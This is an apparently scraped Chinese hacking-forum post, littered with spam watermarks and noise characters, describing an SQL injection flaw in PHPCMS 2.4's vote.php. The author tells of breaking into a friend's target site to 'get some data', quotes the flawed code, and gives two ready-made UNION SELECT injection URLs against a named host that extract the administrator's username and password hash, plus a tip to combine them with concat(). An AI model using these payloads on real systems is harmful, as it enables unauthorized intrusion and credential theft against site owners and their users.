资讯·论坛·笑话大全·QQ表情·设为首页
发新话题
打印

[黑客攻防] PHPCMS2.4中一个有趣的洞洞

PHPCMS2.4中一个有趣的洞洞

by  华鸡[D.R.T]电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站; ~! Y1 p* p5 F# Y$ X

8 R; B" [: h) @8 Q% l" x3 Swww.520diannao.com今天,朋友丢来一个站,说想拿点资料,但搞了很久老搞不下,叫我帮忙看看
4 o+ `, F* r: v/ g* Zwww.520diannao.com打开一看发现是phpcms2.4,很旧的版本了~~& b  ?8 t7 p. Q( Y% g, T# \
搞了一下发现存在“上传漏洞”和“远程文件包含漏洞”的页面都被删了,晕,自己挖个把,反正版本旧
  C  z) p& @( ^' F' a挖了1个多小时,发现vote.php中有这样一段代码:电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站* r* |# c3 G" b/ p. s
...省略....
, n: Y3 I0 X6 J% g- R8 a我爱电脑技术社区--打造最好的电脑技术自学交流平台case 'result':
! U2 }9 p( g9 a0 ?www.520diannao.comif(!intval($voteid)){我爱电脑技术社区--打造最好的电脑技术自学交流平台% v1 z& M4 p/ N7 H
message('参数错误!',$PHP_REFERER); 我爱电脑技术社区--打造最好的电脑技术自学交流平台9 G4 S1 _& v& g9 Q' d& C/ c
}  
$ Y8 t1 z  P8 Z5 W/ p' K/ B( `电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站$query = $db->query("SELECT * FROM $table_vote_subject where voteid='$voteid' and passed=1");打造最好的电脑自学交流论坛7 M7 g3 g% `4 N* ~6 k4 v# c' d  q
$vote=$db->fetch_array($query);打造最好的电脑自学交流论坛  p; g4 ^+ Z7 G# r8 }. Z' D+ o
$subject=$vote[subject];我爱电脑技术论坛; q& N8 L8 J2 l5 Z: e7 E: N3 n8 I
$totalnumber=$vote[totalnumber];
4 m& y4 Y' `# W  N打造最好的电脑自学交流论坛$fromdate=date("Y-m-d",$vote[fromtime]);www.520diannao.com' I" h$ S( S7 u4 f. D3 H7 U/ T
$todate=$vote[totime] ? date("Y-m-d",$vote[totime]) : "";
) L  s( e1 _4 z+ E& V我爱电脑技术社区--打造最好的电脑技术自学交流平台$query = $db->query("SELECT * FROM $table_vote_option where voteid='$voteid'");# f2 {  J3 A3 J: w) c
while($op=$db->fetch_array($query)){我爱电脑技术论坛* C0 f  R4 \- t
$op[percent1]=$totalnumber ? round(100*$op[number]/$vote[totalnumber],2)."%" : "0%";
9 F8 i5 g9 T- Y" C% o打造最好的电脑自学交流论坛$op[percent2]=$totalnumber ? (100-round(100*$op[number]/$vote[totalnumber],0))."%" : "100%";打造最好的电脑自学交流论坛& Q) U  V2 Y! |; k7 t( C$ J) E/ h
$ops[]=$op;打造最好的电脑自学交流论坛1 H6 r0 a" w! p3 e9 _9 P
}我爱电脑技术论坛! n. J1 p, L* Y) q9 {, Q: c
include template('vote_result');
4 m" F# ?' e' H4 `( m我爱电脑技术社区--打造最好的电脑技术自学交流平台break;我爱电脑技术社区--打造最好的电脑技术自学交流平台3 i# I- e* W8 p' b0 `6 F
}电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站$ W1 T# @2 l) i0 ?) m; L
....省略....1 ]" U2 [/ J# G$ F
代码没问题把?真的吗?再仔细看看!!
- ^' s$ f% u$ S1 n$ J" J1 n' }( m我爱电脑技术社区--打造最好的电脑技术自学交流平台“if(!intval($voteid))” 这句代码的意思是啥?
  f/ i7 K6 A, m6 @www.520diannao.com如果提交过来的数据是整型并且不存在于数据库中的话,就返回“参数错误”。
: |$ o- j1 ~# a! g) Y( F0 d% p" L5 Mwww.520diannao.com那如果我们提交的数据不是整型呢?如果我们提交的数据不是整型,那么不管提交的数据是否存在于数据库中都不会返回“参数错误”的提示了,这样,注入漏洞就产生了~~哈哈
# {8 r$ C# A1 K! h- C& i% U电脑,技术,IT,学习,交流,网络安全,QQ,硬件,软件,编程,教程,建站分别提交打造最好的电脑自学交流论坛5 Y7 M1 w9 L% @0 z* r
http://www.cndrt.cn/vote.php?action=result&;voteid=8%20and%201=2%20union%20select%201,username,3,4,5,6,7,8,9,10,11,12,13%20from%20phpcms_member%20where%20userid=1/*””
/ }, V! U$ @8 `; A5 |) @我爱电脑技术社区--打造最好的电脑技术自学交流平台http://www.cndrt.cn/vote.php?action=result&;voteid=8%20and%201=2%20union%20select%201,password,3,4,5,6,7,8,9,10,11,12,13%20from%20phpcms_member%20where%20userid=1/*””打造最好的电脑自学交流论坛1 g) Y6 F6 \9 A& H8 f' L0 E
就能查出管理员了
0 T8 g% a3 N! A. U6 u. O; u; E我爱电脑技术论坛当然你也可以用concat()把账号密码同时抓出来~~

TOP

发新话题